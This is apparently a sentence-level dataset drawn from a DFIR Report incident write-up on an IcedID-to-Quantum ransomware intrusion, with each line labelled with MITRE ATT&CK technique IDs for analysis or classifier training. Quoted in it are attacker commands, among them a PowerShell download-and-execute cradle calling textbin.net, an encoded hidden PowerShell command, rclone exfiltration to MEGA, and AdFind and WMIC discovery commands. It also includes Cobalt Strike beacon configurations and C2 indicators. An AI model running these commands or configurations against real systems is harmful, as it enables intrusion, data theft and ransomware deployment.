{"sentence": "A in ('dir /s /b", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "%WINDIR%\\system32\\*htable.xsl') do set \"var=%%A\" adfind.exe -f (objectcategory=person) > ad_users.txt adfind.exe -f", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "objectcategory=computer > ad_computers.txt adfind.exe -f", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "objectcategory=computer -csv name operatingSystem >", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ad_computers_enum.txt adfind.exe -f (objectcategory=organizationalUnit) > ad_ous.txt adfind.exe -subnets -f", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "(objectCategory=subnet) >", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "ad_subnets.txt adfind.exe -f \"(objectcategory=group)\"", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "> ad_group.txt adfind.exe -gcb -sc trustdmp > ad_trustdmp.txt Interestingly, the first line in the batch file denotes the WMI output configuration in HTML form (from XSL file c:\\windows\\system32\\wbem\\en-US\\htable.xsl).", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The HTML was never used.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Its likely the code was reused from other open source pentest enumerations scripts available, such as: WMIC The use of WMIC was leveraged by a batch file named dS.bat that queried a number of target hosts to determine the host disk drive configuration.", "labels": ["T1047", "T1059.003", "T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This can be useful to determine drives, including mounted network shares.", "labels": ["T1047", "T1082"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "wmic /node:<REDACTED> /user:\"<REDACTED>\" /password:\"<REDACTED>\" logicaldisk get caption,description,drivetype,providername,volumename The dS.bat file was executed by the injected Rundll32.exe process.", "labels": ["T1047", "T1055", "T1082", "T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "During hands-on discovery by the threat actors, the Group Policy was viewed by the Microsoft Management Console application to view Domain Group Policy Objects.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This can provide useful information concerning any restrictions or configuration settings for hosts on the network.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "WMI Threat actors used the lolbin wmic.exe in order to execute PowerShell Cobalt Strike beacons on multiple workstations and servers.", "labels": ["T1047"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The payloads were stored on textbin[.]net.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "As we can see above, WmiPrvSe.exe (WMI Provider Host) executed the PowerShell Cobalt Strike beacon on the remote computers.", "labels": ["T1047"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The beacon C:\\ProgramData\\lsass.exe was used to proxy RDP connections and connect to another computer.", "labels": ["T1021.001", "T1090"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Proxying RDP traffic via a processes such as a Cobalt Strike beacon reduces the exposure of the threat actor’s own infrastructure, and blends RDP activity to those of internal hosts on the network.", "labels": ["T1021.001", "T1090"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The use of RDP was extensively used throughout the intrusion, using a variety of processes (beacon injected or standalone).", "labels": ["T1021.001", "T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The common processes observed were two injected processes, and the Nigu.exe/lsass.exe.", "labels": ["T1055"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "These processes are unusual for establishing RDP connections.", "labels": ["T1021.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "During these RDP sessions, the threat actors often opened Internet Explorer to download their beacons or commands they wanted to run on lateral hosts.", "labels": ["T1021.001", "T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "An example would be pon.txt.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This file was opened during their RDP session and contained the PowerShell commands used to launch a new beacon: \"C:\\Windows\\system32\\NOTEPAD.EXE\" C:\\Users\\installer.baywaterschool\\Downloads\\pon.txt pon.txt contents: powershell iex((new-object net.webclient).downloadstring('https://textbin.net/raw/ls1jhefawt'))", "labels": ["T1021.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Remote Service Remote services were also created in order to propagate Cobalt Strike beacons in the network.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "AnyDesk AnyDesk was used to move laterally between a workstation and a backup server as shown below with Sysmon event 3 (Network connection):", "labels": ["T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Collection To achieve collection of various directories on multiple hosts, the threat actors used the dir command through the administrative share c$ and redirected the output to a file text named listing.txt. C:\\Windows\\System32\\cmd.exe", "labels": ["T1059.003", "T1083"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "/C dir \\\\[REDACTED HOST]\\c$\\users >> listing.txt", "labels": ["T1059.003", "T1083"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In addition, multiple text files were also created to store the output of various discovery commands and scripts.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "C:\\ProgramData\\qwe3.txt C:\\Users\\[REDACTED USER]\\Downloads\\sns.txt C:\\Windows\\Temp\\events_Administrator.text C:\\Windows\\Temp\\events_[REDACTED USER].text C:\\Windows\\Temp\\listing.txt C:\\Windows\\Temp\\ns.txt C:\\Windows\\Temp\\nsserv.txt IcedID The malware configuration: Configuration details: {“Campaign ID”: 2220668032 ,“C2 url”: “alockajilly.com”} Initially the IcedID malware made a connection to 64.227.12[.]180:80 for it’s first call back.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This aligns with the domain present in the malware configuration details.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After the first call over an unencrypted port, command and control traffic moved over to TLS on port 443.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Connections were made to various IP’s over the length of the intrusion, but two made up the majority of the traffic.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "destination.ip destination.port tls.client.ja3 tls.server.ja3s zeek.ssl.server.name Count 5.196.103.145 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc choifejuce[.]lol 373 5.196.103.145 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc erinindiaka[.]quest 1 46.101.19.119 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc opiransiuera[.]com 278 178.128.85.30 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc zoomersoidfor[.]com 4 5.252.177.10 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc considerf[.]info 1 66.63.188.70 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc antiflamez[.]bar 1 155.138.159.45 443 a0e9f5d64349fb13191bc781f81f42e1 ec74a5c51106f0419184d0dd08fb05bc www[.]onlinecloud[.]cloud 1 IcedID C2 beaconing over the intrusion: Cobalt Strike There were a number of beacons deployed across the environment, over 70 pipes were created.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The beacons used recognizable default Cobalt Strike configurations and attempted to masquerade dropped files as legitimate Microsoft Windows executables.", "labels": ["T1036.005"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "For example, on one host, we could observe over 20 pipes being created, in a pattern of postex_xxxx or MSSE-xxxx-server.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "When beacons were deployed within the environment, there was a significant increase in outbound network connections to C2 servers.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "For example, a beacon injected into a single Rundll32.exe process generated over 10K connections in a three hour window, consistently across two days.", "labels": ["T1055", "T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actors deployed various beacons over the course of the intrusion using different methods including executables, DLLs, and PowerShell beacons.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Over the length of the intrusion four different Cobalt Strike servers were observed in use.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Some lasted the majority of the intrusion while others only lasted a few days.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Cobalt Strike SSL characteristics: destination.ip destination.port tls.client.ja3 tls.client.ja3s zeek.ssl.server.name 172.93.181.165 443 a0e9f5d64349fb13191bc781f81f42e1 ae4edc6faf64d08308082ad26be60767 fazehotafa[.]com 45.66.151.109 443 a0e9f5d64349fb13191bc781f81f42e1 ae4edc6faf64d08308082ad26be60767 guteyutur[.]com 111.90.143.191 443 72a589da586844d7f0818ce684948eea ae4edc6faf64d08308082ad26be60767 – 78.128.112.139 443 72a589da586844d7f0818ce684948eea f176ba63b4d68e576b5ba345bec2c7b7 – Analysis of the Nigu.exe binary indicated use of compression and PE loading characteristics, typically observed for Cobalt Strike payload beacon.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Using CAPA, the results listed the following capabilities: Embedded within the binary were strings such as: “inflate 1.2.11 Copyright 1995-2017 Mark Adler”.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Once the file was unpacked and the Cobalt Strike beacon binary carved, the Cobalt Strike configuration could be determined as follows: { \"beacontype\": [ \"HTTPS\" ], \"sleeptime\": 5000, \"jitter\": 28, \"maxgetsize\": 1865903, \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"license_id\": 0, \"cfg_caution\": false, \"kill_date\": null, \"server\": { \"hostname\": \"fazehotafa.com\", \"port\": 443, \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC1nAS8+PqMnQs3hynG2JDgMQK6ZqLkIoDXWnqaOS/dQsdKBHE0Ify/HIZ2ntSpyMtvomDHCA98pCEi1L7mT0mvfiYapP9Aj776rDpzXMYNiRk1BWrAzJqzLcfwzxJx26hL1VSu1C5mWEl7JsVT/9l/kHcNYAALgNQuI0uZAqM7YQIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" }, \"host_header\": \"\", \"useragent_header\": null, \"http-get\": { \"uri\": \"/ak.css\", \"verb\": \"GET\", \"client\": { \"headers\": null, \"metadata\": null }, \"server\": { \"output\": [ \"print\", \"prepend 1767 characters\", \"base64\", \"base64url\" ] } }, \"http-post\": { \"uri\": \"/profile\", \"verb\": \"POST\", \"client\": { \"headers\": null, \"id\": null, \"output\": null } }, \"tcp_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"crypto_scheme\": 0, \"proxy\": { \"type\": null, \"username\": null, \"password\": null, \"behavior\": \"Use IE settings\" }, \"http_post_chunk\": 0, \"uses_cookies\": true, \"post-ex\": { \"spawnto_x86\": \"%windir%\\\\syswow64\\\\rundll32.exe\", \"spawnto_x64\": \"%windir%\\\\sysnative\\\\rundll32.exe\" }, \"process-inject\": { \"allocator\": \"VirtualAllocEx\", \"execute\": [ \"CreateThread\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"min_alloc\": 9369, \"startrwx\": false, \"stub\": \"Ms1B7fCBDFtfSY7fRzHMbQ==\", \"transform-x86\": [ \"prepend '\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90'\" ], \"transform-x64\": [ \"prepend '\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90\\\\x90'\" ], \"userwx\": false }, \"dns-beacon\": { \"dns_idle\": null, \"dns_sleep\": null, \"maxdns\": null, \"beacon\": null, \"get_A\": null, \"get_AAAA\": null, \"get_TXT\": null, \"put_metadata\": null, \"put_output\": null }, \"pipename\": null, \"smb_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"stage\": { \"cleanup\": true }, \"ssh\": { \"hostname\": null, \"port\": null, \"username\": null, \"password\": null, \"privatekey\": null } } Configurations for other Cobalt Strike servers observed: { \"beacontype\": [ \"HTTPS\" ], \"sleeptime\": 60000, \"jitter\": 0, \"maxgetsize\": 1048576, \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"license_id\": 0, \"cfg_caution\": false, \"kill_date\": null, \"server\": { \"hostname\": \"111.90.143.191\", \"port\": 443, \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnOM3nXx+7HBhkbDd+AwFrFisSunK999w2tM0uTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcPl18geU4f5JlSPXHwilbK4DFb/ePWyKFjhrA7emVRqhM21QMlo1ANsn14rY/RO2pzuft8P7TXoIjjI/B2GGVuzYNZX6X4I2EwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" }, \"host_header\": \"\", \"useragent_header\": null, \"http-get\": { \"uri\": \"/j.ad\", \"verb\": \"GET\", \"client\": { \"headers\": null, \"metadata\": null }, \"server\": { \"output\": [ \"print\" ] } }, \"http-post\": { \"uri\": \"/submit.php\", \"verb\": \"POST\", \"client\": { \"headers\": null, \"id\": null, \"output\": null } }, \"tcp_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"crypto_scheme\": 0, \"proxy\": { \"type\": null, \"username\": null, \"password\": null, \"behavior\": \"Use IE settings\" }, \"http_post_chunk\": 0, \"uses_cookies\": true, \"post-ex\": { \"spawnto_x86\": \"%windir%\\\\syswow64\\\\rundll32.exe\", \"spawnto_x64\": \"%windir%\\\\sysnative\\\\rundll32.exe\" }, \"process-inject\": { \"allocator\": \"VirtualAllocEx\", \"execute\": [ \"CreateThread\", \"SetThreadContext\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"min_alloc\": 0, \"startrwx\": true, \"stub\": \"Ms1B7fCBDFtfSY7fRzHMbQ==\", \"transform-x86\": null, \"transform-x64\": null, \"userwx\": true }, \"dns-beacon\": { \"dns_idle\": null, \"dns_sleep\": null, \"maxdns\": null, \"beacon\": null, \"get_A\": null, \"get_AAAA\": null, \"get_TXT\": null, \"put_metadata\": null, \"put_output\": null }, \"pipename\": null, \"smb_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"stage\": { \"cleanup\": false }, \"ssh\": { \"hostname\": null, \"port\": null, \"username\": null, \"password\": null, \"privatekey\": null } } { \"beacontype\": [ \"HTTPS\" ], \"sleeptime\": 60000, \"jitter\": 0, \"maxgetsize\": 1048576, \"spawnto\": \"AAAAAAAAAAAAAAAAAAAAAA==\", \"license_id\": 305419776, \"cfg_caution\": false, \"kill_date\": null, \"server\": { \"hostname\": \"78.128.112.139\", \"port\": 443, \"publickey\": \"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCnOM3nXx+7HBhkbDd+AwFrFisSunK999w2tM0uTpuuEiBalcJhcL+QgQWtf6S7zPp5hjImG+2YcPl18geU4f5JlSPXHwilbK4DFb/ePWyKFjhrA7emVRqhM21QMlo1ANsn14rY/RO2pzuft8P7TXoIjjI/B2GGVuzYNZX6X4I2EwIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==\" }, \"host_header\": \"\", \"useragent_header\": null, \"http-get\": { \"uri\": \"/ga.js\", \"verb\": \"GET\", \"client\": { \"headers\": null, \"metadata\": null }, \"server\": { \"output\": [ \"print\" ] } }, \"http-post\": { \"uri\": \"/submit.php\", \"verb\": \"POST\", \"client\": { \"headers\": null, \"id\": null, \"output\": null } }, \"tcp_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"crypto_scheme\": 0, \"proxy\": { \"type\": null, \"username\": null, \"password\": null, \"behavior\": \"Use IE settings\" }, \"http_post_chunk\": 0, \"uses_cookies\": true, \"post-ex\": { \"spawnto_x86\": \"%windir%\\\\syswow64\\\\rundll32.exe\", \"spawnto_x64\": \"%windir%\\\\sysnative\\\\rundll32.exe\" }, \"process-inject\": { \"allocator\": \"VirtualAllocEx\", \"execute\": [ \"CreateThread\", \"SetThreadContext\", \"CreateRemoteThread\", \"RtlCreateUserThread\" ], \"min_alloc\": 0, \"startrwx\": true, \"stub\": \"tUr+Aexqde3zXhpE+L05KQ==\", \"transform-x86\": null, \"transform-x64\": null, \"userwx\": true }, \"dns-beacon\": { \"dns_idle\": null, \"dns_sleep\": null, \"maxdns\": null, \"beacon\": null, \"get_A\": null, \"get_AAAA\": null, \"get_TXT\": null, \"put_metadata\": null, \"put_output\": null }, \"pipename\": null, \"smb_frame_header\": \"AAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\", \"stage\": { \"cleanup\": false }, \"ssh\": { \"hostname\": null, \"port\": null, \"username\": null, \"password\": null, \"privatekey\": null } } Remote Access Software As shown above, three different Remote Access Software were used by the threat actor: It is unclear why the threat actor used three different tools in order to establish an interactive and persistent command and control channel.", "labels": ["T1027", "T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The AnyDesk service password was set manually using the command line as shown below:", "labels": ["T1027", "T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "powershell -np -w", "labels": ["T1027"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "hidden -encodedcommand JABzAD0ATgBlAHcAL", "labels": ["T1027"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "[.....] --> CS beacon --> \"c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe\" -Version 5.1 -s", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "-NoLogo", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "-NoProfile --> C:\\Windows\\system32\\cmd.exe /C cmd.exe /c", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "[email protected]#_!", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "| C:\\ProgramData\\anydesk.exe --set-password", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The software packages were bundled within a single Microsoft Software Installer (MSI) package, named hp.msi.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This was installed from the ProgramData folder, resulting in the installation of the remote management tools.", "labels": ["T1219"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The activity can be correlated against the Application log for MSI installer events (Event ID 1033).", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "During the intrusion, the threat actors were observed accessing collected data such as ShareFinder.txt using Notepad and then copying the contents to the clipboard.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Whilst the process activity indicated Active Directory accounts being used, correlating this activity to Clipboard activity indicated matching sessions, process IDs, and the true source of the user.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "In this case, ShareFinder.txt was created in the ProgramData folder by the ShareFinder.ps1 script.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Approximately 2 seconds later, the threat actors accessed this file and copied the contents.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "While the threat actors made attempts to proxy RDP traffic and minimize external RDP access, the threat actors’ workstation was revealed in several Windows logs.", "labels": ["T1021.001", "T1090"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Sysmon Event ID 24 linked the threat actors host name HYPERV and the IPv4 address of 199.101.184[.]230.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This host name was also in the Security events:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "For example, Event 4779 relating to a user disconnecting from a terminal session, reveals the client name of the source workstation.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The client address was the internal workstation where the RDP traffic was being proxied through.", "labels": ["T1021.001", "T1090"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Exfiltrated Documents Opened Remotely During the second day of the intrusion, documents from the organization were opened remotely from 212.102.59[.]162 and 165.231.182[.]14.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This occurred before Rclone was used, which leads us to believe the documents were exfiltrated over one of the encrypted C2 channels.", "labels": ["T1041"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Rclone On the backup server, rclone.exe was used in order to exfiltrate data to a MEGA cloud storage. rclone.exe copy --max-age 5y \"\\\\[REDACTED BACKUP]\\E:\\[REDACTED]\\\" remote:Groups --exclude \"*.{psd,7z,dwg,rar,MTS,MOV,pst,PRF,mp3,skp,tmp,gcp,zip,ZIP,MP4,tiff,ava4,psb,tif,DNG,AVI,FIT,FIL,mp4,dxf,mov,rcs,mdb,iso,json,man,exe,gz,ISO,dll,BAK,bak,tib,MP3,tar,m4v,vmdk,vm,PBD,db,BAKDB,icon,msi,ai,gif,cab,iso,png,eps,lib,avi,msg,crs,LIB,CRS,mpg,dcm,tif}\" -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12 -P From the rclone.exe configuration file, we can retrieve the user’s mail address and password.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Mega user account:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "[email protected] Alert Interestingly, the operator issued a command that displayed an alert informing the end user of a compromise, specifically with Cobalt Strike.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Its unclear why the operator chose to do this, as this was around three hours prior to the ransomware being executed or a ransom note being dropped.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The alert message that was visible: The activity can be observed in the PowerShell WinEvent logs:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Ransomware", "labels": ["T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actors dropped the first of their ransomware binaries on the fourth day of the intrusion.", "labels": ["T1105"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Around 40 minutes after creating the alert messages for Cobalt Strike to show up, they dropped locker_64.exe on the backup server.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "They created a file (2.txt) and populated it with a list of hosts they had uncovered during their discovery activity.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The locker_64.exe file was then renamed to 64.exe and executed using the text file in the command arguments: 64.exe /[email protected] The threat actors attempted to execute the malware across all hosts in the target list, but only execution on the backup server was observed.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The threat actor then tried again on a different server using a DLL this time: rundll32 locker_32.dll,run /[email protected] Again, only execution on the server was observed.", "labels": ["T1218.011"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "They then executed a new Cobalt Strike PowerShell beacon on a 3rd server and executed the ramsomware using that.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "\"c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe\" -Version 5.1 -s -NoLogo -NoProfile ➝ C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "locker_64.exe They then opened an RDP connection back to the primary domain controller and proceeded to try to execute the binary with a target list again.", "labels": ["T1021.001"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "After only affecting the single host, the threat actors dropped several batch scripts on the server: pass.bat 1.bat 2.bat The script pass.bat proceeded to reset all the user accounts in the domain to a single password set by the threat actors.", "labels": ["T1059.003"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "There were more than 1,000 Windows Security Event ID 4724 events generated within a two minute period.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "This password reset would enable the next scripts to function as intended while also hampering any recovery activity.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The 1.bat file then proceeded to copy the ransomware binary across to hosts in the environment.", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "Finally 2.bat used the reset password to enable psexec to execute the ransomware on all the remote hosts.", "labels": ["T1112"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "When the payload was executed, there were some telltale registry events observed indicating .Quantum file extension Shell Open Command artifacts.", "labels": ["T1112"], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
{"sentence": "The HTML message was dropped in various directories across the endpoints:", "labels": [], "doc_title": "Malicious ISO File Leads to Domain Wide Ransomware  The DFIR Report"}
